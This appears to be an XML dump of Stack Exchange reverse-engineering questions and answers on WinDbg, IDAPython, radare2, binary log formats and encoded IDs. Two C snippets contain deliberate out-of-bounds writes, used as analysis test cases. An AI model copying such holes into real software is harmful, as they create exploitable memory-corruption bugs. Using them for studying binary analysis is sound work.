  <row Id="26090" PostTypeId="2" ParentId="26083" CreationDate="2020-10-08T20:14:38.773" Score="0" Body="&lt;p&gt;What I tend to do is the following.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Subtract the base address of the file you loaded in IDA from the address of the function you want to find, e.g: &lt;code&gt;0x140011011 - 0x140000000 = 0x11011&lt;/code&gt;. Now you have the offset.&lt;/li&gt;&#xA;&lt;li&gt;In Windbg obtain the base address of the Capcom driver by doing the following: execute this command in windbg and wait a while: &lt;code&gt;!drvobj Capcom&lt;/code&gt;. Eventually you'll get something like this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;Driver object (ffff8c858e479400) is for:&#xA; \Driver\Capcom&#xA;&#xA;Driver Extension List: (id , addr)&#xA;&#xA;Device Object list:&#xA;ffff8c858e47a060  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Retrieve the address contained between the first set of parentheses and add 0x18 to this address. The reason for this is that an object of type _DRIVER_OBJECT actually contains the driver base address of the driver it's assigned to, which happens to be located at offset 0x18. (This may vary depending on what version of Windows you're using so always verify this by typing this in Windbg and looking for the field named DriverStart. Command: &lt;code&gt;dt nt!_DRIVER_OBJECT&lt;/code&gt;.) So in my case, I'll do: &lt;code&gt;0xFFFF8C858E479400 + 0x18 = 0xFFFF8C858E479418&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Input the address acquired in step 3 into your Windbg memory view and retrieve the address located at this address, for me this is &lt;code&gt;0xFFFFF80376790000&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add the offset we obtained at step 1 to the base address we got at step 4: &lt;code&gt;0xFFFFF80376790000 + 0x11011 = 0xFFFFF803767A1011&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;And there you have it, the function you were looking for is located at &lt;code&gt;0xFFFFF803767A1011&lt;/code&gt;. You should be able to look at this function when inserting this address into your disassembly view.&lt;/p&gt;&#xA;" OwnerUserId="34617" LastActivityDate="2020-10-08T20:14:38.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26091" PostTypeId="2" ParentId="26087" CreationDate="2020-10-09T09:04:14.093" Score="0" Body="&lt;p&gt;22 bytes: a simple guess, if each block contained a float value&#xA;double precision&lt;br&gt; X.XXXXXXXXXXXXXXXe + XXX (len 22 bytes).&lt;br&gt;&#xA;Maybe this is a bit too simple, so can you give us some examples of your 22 bytes blocks?&lt;/p&gt;&#xA;&lt;p&gt;Just a comment after read the interesting answer from Bill B:&lt;br&gt;&#xA;There is no value &amp;gt; 0x7f&lt;br&gt;&#xA;which is unlikely for floats 8.77 I guess.&lt;/p&gt;&#xA;" OwnerUserId="34077" LastEditorUserId="34077" LastEditDate="2020-10-09T19:11:53.057" LastActivityDate="2020-10-09T19:11:53.057" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26093" PostTypeId="2" ParentId="26087" CreationDate="2020-10-09T15:33:21.830" Score="2" Body="&lt;p&gt;Edit:&lt;/p&gt;&#xA;&lt;p&gt;I'll leave my previous post/edits for historical purposes, but given this comment&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Also, I'd like to try solve it myself as much as possible with your help, not you solving it FOR me, pretty much.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I guess I won't continue trying to make progress on the format.  Though I do have some additional ideas based on my previous observations.&lt;/p&gt;&#xA;&lt;p&gt;So to directly answer the original 2-part question:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is my task even possible to do, given the described situation?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It may or may not be possible, depending on what the final goal is, and what resources are available.&lt;/p&gt;&#xA;&lt;p&gt;If you have enough data samples, with matching knowledge of the inputs that created those samples, then it may be possible to figure out the parts of the format that represent those inputs, if that's all you require.  It likely helps that you have the format description, even if it's imprecise or inaccurate.&lt;/p&gt;&#xA;&lt;p&gt;But if the goal is a complete understanding of the data format (for example, to write an implementation that's 100% compatible), then in my (novice) opinion, it's unlikely you will be able to do that without access to something that reads/writes the files (if for no other reason than you would need a way to validate assumptions).  It perhaps might be possible if you have a large amount of data samples that have adequate variation in the data values across all fields, but I think it would be an uphill struggle, and that there's a high likelihood that understanding would fall short of 100%.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;If it is, how should I try and find a decoding method? What tools could help find correct field length, LSB and semantic (i.e., which data field is which, as I don't trust that format description too much anymore)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In my opinion, there aren't tools to do this because &lt;em&gt;this&lt;/em&gt; is the human part of reverse engineering.  Sure there are hex editors, and tools like 010 Editor or Kaitai Struct or binary diff tools that can help you do the human part, but actually figuring out what everything represents and how it all fits together isn't (as far as I know) something that can be done by a tool, particularly when you only have data files and not machine code. (there are tools to do automated analysis of executable code, but my impression is that data files are a different class of problem).&lt;/p&gt;&#xA;&lt;p&gt;Good luck to you, I hope you get it figured out.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Previous:&lt;/p&gt;&#xA;&lt;p&gt;With the caveat that I'm still a novice with regard to RE, I've made some observations based on the posted samples.&lt;/p&gt;&#xA;&lt;p&gt;It would be helpful if you could look at the other data samples you have and validate/disprove the assumptions below.  I'll make updates as you respond and as I make further progress.&lt;/p&gt;&#xA;&lt;p&gt;Observations and assumptions so far:&lt;/p&gt;&#xA;&lt;p&gt;(Byte offsets start from 0)&lt;/p&gt;&#xA;&lt;p&gt;Bytes 02-03:  16 bit int.  Notable is the juxtaposition of small positive values, and values near INT16_MAX, with nothing in between.  This leads me to wonder if the original value might have been negative, but the sign bit got stripped during a conversion.  Alternatively, there wasn't any conversion issue and the data is simply bi-modal.&lt;/p&gt;&#xA;&lt;p&gt;Aside: if you can give more detail on what the logs are supposed to represent and/or what is generating the logs, it would be helpful.  As would more information on the expected values (e.g., you said &amp;quot;near 2700&amp;quot; and &amp;quot;must be -8.77&amp;quot;) and what they represent.  In general, context is often helpful.  More samples may be helpful as well.&lt;/p&gt;&#xA;&lt;p&gt;Byte 04: 8 bit int.  May represent an enum.  Values seem to always be in the range of 0x00-0x03.&lt;/p&gt;&#xA;&lt;p&gt;Byte 05-06:  Byte 05 appears to monotonically increase within a group of records.  The step is variable, so likely not a counter, but it could indicate a time stamp or time offset of some sort.  My current thinking is that 5-6 could be &amp;quot;milliseconds since T&amp;quot; where T is a reference time found elsewhere in the file.  If the header before the group is supposed to contain a timestamp, then it could be relative to that.&lt;/p&gt;&#xA;&lt;p&gt;However, the fact that the field is 16-bits would mean that there would need to be a new reference timestamp at least every minute (approximately) or the field would overflow.  Do the data samples you have reflect that kind of behavior?&lt;/p&gt;&#xA;&lt;p&gt;That's all I have for the moment.  I'll check back later.&lt;/p&gt;&#xA;" OwnerUserId="1731" LastEditorUserId="1731" LastEditDate="2020-10-10T15:54:29.837" LastActivityDate="2020-10-10T15:54:29.837" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26094" PostTypeId="1" CreationDate="2020-10-09T16:13:18.447" Score="1" ViewCount="407" Body="&lt;p&gt;I am using idapro 7.5 to get variable information from binaries.&lt;/p&gt;&#xA;&lt;p&gt;Consider following simple code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;  int i, N, array[10];&#xA;&#xA;  N = atoi(argv[10]);&#xA;&#xA;  array[N] = N;&#xA;  array[12] = N;&#xA;  array[0] = 8;&#xA;&#xA;  for(i=0 ; i&amp;lt;N ; i++)&#xA;    array[i] = N;&#xA;&#xA;  printf(&amp;quot;%d %d\n&amp;quot;, array[12], array[5]);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using idapython, I can get function information like stack variables, their sizes, types, etc. using something like -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for ea in idautils.Functions():&#xA;    for mem in ida_struct.get_struc(idc.get_frame_id(ea)).members:&#xA;        name = ida_struct.get_member_name(mem.id)&#xA;        size = ida_struct.get_member_size(mem)&#xA;        offset = mem.get_soff()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Similarly, I can get global variable information like their name and addresses.&lt;/p&gt;&#xA;&lt;p&gt;Now, this works fine (particularly in above binary) and I can get array with a size of 12 on correct offset (this makes sense, as I have compiled binary using &lt;code&gt;-g&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;But, when I strip the binary, I can't get array size correctly with the above code (this is expected). When I use hex rays -&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x9sAw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x9sAw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here, ida decompiler was able to recover correct array bounds using decompiler algorithms. And I can also synchronize this with disassembly interface using &lt;code&gt;Synchronize with&lt;/code&gt; option in Gui (I assume synchronize function is used to apply predicted types or other information to disassembly interface - I maybe wrong here, please forgive my ignorance).&lt;/p&gt;&#xA;&lt;p&gt;I would like to know if there is any way I can do that using idapython (I can see some endpoints like &lt;code&gt;sync_sources&lt;/code&gt; in &lt;code&gt;ida_kernwin&lt;/code&gt;), so that I can use the above code to get variable properties predicted using hex rays. I am familiar with ghidra and you can apply ghidra decompiler predictions to the listing analysis (just like synchronization in ida) using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HighFunctionDBUtil.commitLocalsToDatabase(high_func, SourceType.ANALYSIS)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thus variables get updated in the analysis.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Edit: I can manually get function variables using hexrays decompiler&#xA;interface like -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def get_local_vars(ea, stack_size):&#xA;    # can be used to get member size, type, etc.&#xA;    for var in ida_hexrays.decompile(ea).get_lvars():&#xA;        print(var.name)&#xA;        print(-stack_size + var.get_stkoff())&#xA;        print(var.width)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Still, I was not able to find an automatic way to apply hexrays&#xA;decompiler interface or sync hexrays decompiler interface with&#xA;disassembly interface.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2020-10-10T03:42:18.803" LastActivityDate="2020-10-10T03:42:18.803" Title="idapython: how to apply hexrays types to disassembly interface" Tags="|ida|idapython|hexrays|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26095" PostTypeId="1" CreationDate="2020-10-09T16:44:04.230" Score="1" ViewCount="580" Body="&lt;p&gt;I downloaded the script files from &lt;a href=&quot;http://www.openrce.org/downloads/details/57/PE_Scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openrce.org/downloads/details/57/PE_Scripts&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then i extracted the files in the folder idc in the IDA folder (C:\Program Files\IDA 7.0\idc)&lt;/p&gt;&#xA;&lt;p&gt;I opened IDA (64 bits) normally and load the PE program , and when i do File&amp;gt;script files&amp;gt; and then select pe_sections.idc the program give me this error :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\IDA 7.0\idc\pe_sections.idc: C:\Program Files\IDA 7.0\idc\pe_sections.idc,1887: Syntax error near: 0x8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there anything i can do ? i am trying to do patch and changing on the program , thanks for any help .&lt;/p&gt;&#xA;" OwnerUserId="34623" LastActivityDate="2020-11-08T18:04:35.547" Title="Problem when opening a script file in IDA (syntax error)(pe_sections.idc)" Tags="|ida|script|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26096" PostTypeId="2" ParentId="26095" CreationDate="2020-10-09T17:53:19.050" Score="1" Body="&lt;p&gt;You probably need the 2003 version of pe_sections.idc.  There were some bugs in the older versions related to parsing x64 files.  We were learning both IDC scripting and the details of the x64 format at the same time.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2020-10-09T17:53:19.050" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26097" PostTypeId="1" CreationDate="2020-10-09T19:11:42.893" Score="1" ViewCount="168" Body="&lt;p&gt;In radare2 I would like to be able to rename a node in the graph view. I though setting a flag to the entry of the graph node would also change its title, but the address of the nodes still shows instead.&lt;/p&gt;&#xA;&lt;p&gt;How can I set the name based on the flag?&#xA;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="34626" LastEditorUserId="34626" LastEditDate="2020-10-09T19:41:01.737" LastActivityDate="2020-10-09T19:41:01.737" Title="How can I rename location in radare2?" Tags="|radare2|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26099" PostTypeId="1" CreationDate="2020-10-11T14:31:31.410" Score="3" ViewCount="1726" Body="&lt;p&gt;I am using following function to generate a call graph using idapython:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def generate_graph():&#xA;    callees = dict()&#xA;    # loop through all functions&#xA;    for function_ea in idautils.Functions():&#xA;        f_name = idc.get_func_name(function_ea)&#xA;        # For each of the incoming references&#xA;        for ref_ea in idautils.CodeRefsTo(function_ea, 0):&#xA;            # Get the name of the referring function&#xA;            caller_name = idc.get_func_name(ref_ea)&#xA;            # Add the current function to the list of functions&#xA;            # called by the referring function&#xA;            callees[str(caller_name)] = callees.get(str(caller_name), set())&#xA;            callees[str(caller_name)].add(str(f_name))&#xA;    return callees&#xA;&#xA;function_graph = generate_graph()&#xA;print(function_graph)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This gives me a dictionary with function names as a key and functions called by that function as a value.&lt;/p&gt;&#xA;&lt;p&gt;For e.g. if &amp;quot;main&amp;quot; calls &amp;quot;foo&amp;quot; and &amp;quot;func&amp;quot;, then the dictionary will be:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;main:{&amp;quot;foo&amp;quot;, &amp;quot;func&amp;quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is working correctly if function is called directly. But in the case like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void function1(char * buf)&#xA;{&#xA;  /*  BAD  */&#xA;  buf[4105] = 'A';&#xA;}&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;  void (*fptr)(char *);&#xA;  char buf[10];&#xA;&#xA;  fptr = function1;&#xA;&#xA;  fptr(buf);&#xA;&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As the function gets called through a register, like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;401140: call   rdx&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there any way I can modify above script (or create a new) to detect such cases?&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-10-11T14:31:31.410" Title="how to get all &quot;called functions&quot; in idapython" Tags="|ida|idapython|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26100" PostTypeId="1" CreationDate="2020-10-11T17:13:45.513" Score="-2" ViewCount="422" Body="&lt;p&gt;Here is some infomation I found from &lt;code&gt;MANIFEST.MF&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Archiver-Version: Plexus Archiver&#xA;Built-By: boonb&#xA;Created-By: Apache Maven&#xA;Build-Jdk: 1.8.0_231&#xA;Main-Class: JavaLauncher&#xA;Modified-By: 9.4 (BIS Guard &amp;amp; Co.)&#xA;Protected-By: Java Antidecompiler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone know how to deobfuscate this? I need a keyword, pls.&lt;/p&gt;&#xA;" OwnerUserId="34638" LastActivityDate="2020-10-22T22:10:18.447" Title="How to deobfuscate Java application protected by Java Antidecompiler" Tags="|java|deobfuscation|decompile|jar|" AnswerCount="1" CommentCount="0" ClosedDate="2020-10-31T22:34:18.217" ContentLicense="CC BY-SA 4.0" />
  <row Id="26101" PostTypeId="1" CreationDate="2020-10-11T21:15:26.783" Score="2" ViewCount="202" Body="&lt;p&gt;I have a data set where events have a unique ID. Some examples:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CkUKGkNNZmY1TkhObi1zQ0ZWT0h3Z0VkaExJQ0xnEidDSlB0bG9UTG4tc0NGWmhpaXdvZDFxOE5fdzE1OTc1NzY4NzU4Mzg%3D&#xA;CjoKGkNOWHBsX1hJbi1zQ0ZTWks3UW9kRDRNSVdREhxDSXI4emVuSW4tc0NGZm5WVEFJZEVRZ0JrUS0x&#xA;CjkKGkNMTzJ6TkRWbi1zQ0ZUNkh3Z0VkdGVVQnd3EhtDT3ZOajZYVm4tc0NGWUdGY0FvZGJIc09iZzE%3D&#xA;CjkKGkNMcnN4OHZKbi1zQ0ZRMXpnd29kUW9VQll3EhtDSTdfZzVmSm4tc0NGVWFBY0FvZGRsQUhFQTQ%3D&#xA;CjsKGkNMNjlrdFRObi1zQ0ZZMkN3Z0VkVWxnSGxREh1DSktpanFISm4tc0NGVHZCVEFJZEM3a01Udy00OA%3D%3D&#xA;CjkKGkNNQ2ItbzNWbi1zQ0ZkU013Z0VkX2RRRHNBEhtDSlAzcm8zUm4tc0NGV252T0FZZENkUUJyUTU%3D&#xA;CjoKGkNOTzhoZVRRbi1zQ0ZVYTBnZ29kN0VrTnlnEhxDSS1qbmRmUW4tc0NGY1pLaXdvZEgxRUFvUS0w&#xA;CkUKGkNQU0VocjNMbi1zQ0ZaaXNnZ29kQlNjTTZBEidDTVNmbDRiTG4tc0NGWDRBdHdBZF9lQUtPQTE1OTc1NzYyOTkyNDg%3D&#xA;CjkKGkNJLVh3NEhLbi1zQ0ZaV3JEUW9kUzNBSC1BEhtDTmFWeVpuSm4tc0NGZEtSY0FvZFdWNEVvQTE%3D&#xA;CjkKGkNKYnZpb3pSbi1zQ0ZVVkE3UW9kV0xzTnVBEhtDSXlKcktQUW4tc0NGZkhEVEFJZEJtOENGdzQ%3D&#xA;CjsKGkNJRGZsZnpVbi1zQ0ZjM3hnZ29kd1hZRnVREh1DS0t1bE96VW4tc0NGUlQ1V0FvZGE2OElSQS0yNg%3D%3D&#xA;CkUKGkNJVGhuZHpQbi1zQ0ZZMkJ3Z0VkUkk0Q1N3EidDUC1qbDVITm4tc0NGVnBsaXdvZGJ2b0hLUTE1OTc1Nzc0MzU0Mjg%3D&#xA;CkUKGkNPRzc4SkRPbi1zQ0ZkbWhnZ29kckprTWJREidDT2FCdmRUTW4tc0NGYnhDOVFVZExfc0lIQTE1OTc1NzcwMDk0NTQ%3D&#xA;CjoKGkNJN05fZURWbi1zQ0ZZRzJEUW9kamEwTXJ3EhxDTHJ5eVpMVm4tc0NGVWZDVEFJZEkyNEdIQS00&#xA;CkUKGkNNN1F6TERKbi1zQ0ZWbUd3Z0Vkb0RJSzlREidDT3ZBeUszSm4tc0NGU1FfWUFvZEl1UUZ4dzE1OTc1NzU3MzIyNTM%3D&#xA;CjkKGkNJeXlwOV9Kbi1zQ0ZkQzZnZ29kaGdBSWVnEhtDSVdRMzd6Qm4tc0NGWmlDckFJZEFNb05BZzU%3D&#xA;CjoKGkNKQ1YzWnpUbi1zQ0ZjWW5nd29kaUVJRkdREhxDSXVieHBqU24tc0NGVUZrS2dvZElRNElndy0x&#xA;CjkKGkNMVHJrNWpMbi1zQ0ZVa29nd29kSG1FRmtnEhtDS3VXdGRMS24tc0NGUVdIY0FvZFFuWUVfdzA%3D&#xA;CjkKGkNQVDhqOV9Tbi1zQ0ZaUlU3UW9kSGZZQkl3EhtDTV9rak9iUG4tc0NGUkVsandvZFdIa1A5QTg%3D&#xA;CkUKGkNKdmM4S0xRbi1zQ0ZSaktnZ29kdWdRTm5REidDS096NDRQTm4tc0NGUXQ3aXdvZDI1Z0c4dzE1OTc1Nzc1ODMwMDM%3D&#xA;CjoKGkNOM3ZnTXJQbi1zQ0ZaSk03UW9kWmJvQmx3EhxDSUdVcHBMSm4tc0NGWVptTUFvZFg3SVBZUTMy&#xA;CjkKGkNKYjZ6YmZMbi1zQ0ZRNkV3Z0VkaW9FRDZREhtDTV9UcG96TG4tc0NGWWpGY3dFZExiVUp0ZzA%3D&#xA;CjkKGkNPRHZ1Yl9Wbi1zQ0ZZeGU3UW9kMzZ3UG5nEhtDTmYzcFp2R24tc0NGUlpUandvZEt3SUswUTk%3D&#xA;CjkKGkNKcjV3NkRKbi1zQ0ZUNkh3Z0VkT1RZSGtBEhtDUFRJeXB6Sm4tc0NGZmp5T0FZZENqZ1BfZzA%3D&#xA;CkUKGkNOZlM4NlhKbi1zQ0ZRcWhnZ29ka3kwUEt3EidDSVBwcDVUSm4tc0NGZl9GVEFJZGhIa0ZiZzE1OTc1NzU3MDc1Njk%3D&#xA;CjkKGkNONmNsZmJKbi1zQ0ZkYTlnZ29kU3cwRnFBEhtDUEMyOEtMSG4tc0NGZkdDWXdZZDgtTUprUTk%3D&#xA;CkUKGkNLZTJ1TmpSbi1zQ0ZTTGdnZ29kcDJVSkdBEidDTW1YcHF2Um4tc0NGUmhQS2dvZGRPQURUdzE1OTc1Nzc4ODk4NjM%3D&#xA;CjoKGkNOang2NUxUbi1zQ0ZRSlE3UW9kN1JNRUlREhxDSlNRaDZqRm4tc0NGWFJSaFFvZFJmUUlZZzgx&#xA;CkUKGkNLT2dpYXZVbi1zQ0ZRV21EUW9kTngwRy1BEidDSm5lZ3FEUm4tc0NGUzVDaFFvZHlxb0V4dzE1OTc1Nzg2NzI5NjI%3D&#xA;CkUKGkNLaU8tZURKbi1zQ0ZlcUZ3Z0VkRGhrT1V3EidDTFdEcUtISm4tc0NGYXhDaFFvZFlSRUNmUTE1OTc1NzU4MzM3NDM%3D&#xA;CkUKGkNPMkJ1YlBLbi1zQ0ZlUGxnZ29kN3JvUFZBEidDTWlfdlozSm4tc0NGWVBKV0FvZDZwb05hQTE1OTc1NzYwMDY3ODk%3D&#xA;CkUKGkNKR09xS1hTbi1zQ0ZZUkM3UW9kV1FvRzh3EidDUFc2dEkzU24tc0NGUlI0WUFvZGdHb0ZKUTE1OTc1NzgxMjQ0MjY%3D&#xA;CjoKGkNNekd1N2JObi1zQ0ZjeXlnZ29kdmJZTXZBEhxDTnlnN003S24tc0NGVVZDOVFVZFktZ0Zwdy02&#xA;CjoKGkNPemd2cmJPbi1zQ0ZZTnRnd29kbzFvSy1nEhxDTEtMMnFfSm4tc0NGWmRBOVFVZGR5WUVrUTEz&#xA;CjoKGkNLbUxxZXpRbi1zQ0ZaUE1nZ29kbnAwSDRBEhxDTmVqbE96SW4tc0NGUTlIV0FvZDV5QUdaQTEy&#xA;CjsKGkNKcjMzSkhLbi1zQ0ZSaktnZ29kZ2RnS3N3Eh1DT1N3eXBESm4tc0NGYXhTaFFvZExJSUdlUS0xMw%3D%3D&#xA;CkUKGkNKT3luXzdSbi1zQ0ZhSkQ3UW9kLWlRTHNnEidDSUhnaVlqUm4tc0NGWVZCOVFVZFdqc05JQTE1OTc1NzgwNDM3MzE%3D&#xA;CjoKGkNQbWM5UHpQbi1zQ0ZSblBnZ29kTlU0Q3d3EhxDTXVEa3RqS24tc0NGZDVBOVFVZE43MEN1dzIz&#xA;CkUKGkNMX3k5UDdUbi1zQ0ZRU0d3Z0VkQ2tvR2t3EidDSXVqb19IVG4tc0NGU0pEOVFVZGRZMERyZzE1OTc1Nzg1ODAyODI%3D&#xA;CjkKGkNJSGJ0b2pMbi1zQ0ZXSDNnZ29kLW5vTlpREhtDSjNrMV8zS24tc0NGUWJ3T0FZZHlJa01rZzA%3D&#xA;CjoKGkNKT2I4ZHpObi1zQ0ZjcU13Z0VkWjkwRkpBEhxDTUtsc01uTW4tc0NGVnpPVEFJZERmWU9idy0z&#xA;CkUKGkNNSFVtS19Tbi1zQ0ZjT0J3Z0VkcHRVSXBnEidDTnVLbk9mUm4tc0NGYzVQS2dvZG53WURmUTE1OTc1NzgxNDQ2ODg%3D&#xA;CjkKGkNNYXJnS1BKbi1zQ0ZRcVJ3Z0VkemdzSGlREhtDT1RCcTdQQm4tc0NGVWIwT0FZZFFwSUpFUTM%3D&#xA;CkUKGkNJcnFqcGZLbi1zQ0ZVMkh3Z0VkOVpvSHB3EidDS2UyaGZ6Sm4tc0NGWnJIVEFJZDM4a1BjUTE1OTc1NzU5NDY4OTI%3D&#xA;CjkKGkNJdkM4bzdTbi1zQ0ZaV1BnZ29kWWN3SXd3EhtDTGlfby1MSm4tc0NGUXBCaFFvZDMzQU9wZzA%3D&#xA;CkUKGkNKYXRqc1RSbi1zQ0ZaQ2xnZ29kTTAwRGpBEidDSW5mejk3S24tc0NGWVJEaFFvZElNd043dzE1OTc1Nzc5MjE1NTQ%3D&#xA;CkUKGkNMSEgyZGpUbi1zQ0ZZVDBnZ29kOGRzR0tREidDT2lqdTRyUm4tc0NGWWRKWUFvZFg4TU8xdzE1OTc1Nzg1MDA5NDY%3D&#xA;CjoKGkNLQzN3cjNWbi1zQ0ZRRy1nZ29kQXMwSW5REhxDSXV5NXBuR24tc0NGUXotT0FZZHB6a0h5UTE1&#xA;CjkKGkNNXzZpWkRObi1zQ0ZZTHdnZ29kZ0JFRGlREhtDTlRWNElIS24tc0NGVXB3andvZHRoMENfZzQ%3D&#xA;CjoKGkNMNk56dXZQbi1zQ0ZSU3NEUW9kUnRjSGtREhxDTGF0c05yTW4tc0NGUVBoV0FvZHY5Z0xNUS05&#xA;CjkKGkNQVzJsTFRNbi1zQ0ZYNkh3Z0VkY25FTG53EhtDT21CajZmTW4tc0NGZE9CY0FvZHF0b0tsZzA%3D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Starting from the surface, they seem to&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;be URL encoded&lt;/li&gt;&#xA;&lt;li&gt;be base64 encoded (although there are only 62 unique characters and &lt;code&gt;=&lt;/code&gt; padding)&lt;/li&gt;&#xA;&lt;li&gt;have some struct that contains two URL safe base64 strings &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc4648#section-5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rfc-editor.org/rfc/rfc4648#section-5&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the format is &lt;code&gt;\n&amp;lt;length byte&amp;gt;\n&amp;lt;length byte&amp;gt;&amp;lt;first string&amp;gt;\x12&amp;lt;length byte&amp;gt;&amp;lt;second string&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I know what the second string points to, but I'm interested in the first one.&lt;/p&gt;&#xA;&lt;p&gt;Everything that I've seen so far matches this pattern:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;grp1, grp2, grp3 = re.match(b'^\x08(.{7})\x02\x15(.{4})\x1d(.{4})$', part1_decoded, re.DOTALL).groups()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;grp1&lt;/code&gt; can have 128 unique characters, but &lt;code&gt;grp2&lt;/code&gt; and &lt;code&gt;grp3&lt;/code&gt; can have all 256. However, some characters are more common than others.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In &lt;code&gt;grp1&lt;/code&gt; the most common ones (by a large margin) are &lt;code&gt;9f&lt;/code&gt; and &lt;code&gt;eb&lt;/code&gt;. There's also a spike between &lt;code&gt;c9&lt;/code&gt; and &lt;code&gt;d5&lt;/code&gt;. &lt;code&gt;9f&lt;/code&gt; and &lt;code&gt;eb&lt;/code&gt; are usually on the right side, so it might be a sequential little-endian integer such as a database index or a timestamp.&lt;/li&gt;&#xA;&lt;li&gt;In &lt;code&gt;grp2&lt;/code&gt;, characters like &lt;code&gt;01&lt;/code&gt; &lt;code&gt;\n&lt;/code&gt; &lt;code&gt;\r&lt;/code&gt; &lt;code&gt;82&lt;/code&gt; &lt;code&gt;c2&lt;/code&gt; are common. I can't make anything out of it except that they could be separators.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;grp3&lt;/code&gt; looks otherwise random except characters from &lt;code&gt;00&lt;/code&gt; to &lt;code&gt;0f&lt;/code&gt; are ~8 times more common than others.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I'm looking for any clues or analysis methods to find out what groups 1, 2 and 3 are used for.&lt;/p&gt;&#xA;" OwnerUserId="19854" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2023-03-27T09:06:15.873" Title="Decoding unknown ID format parts" Tags="|binary-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
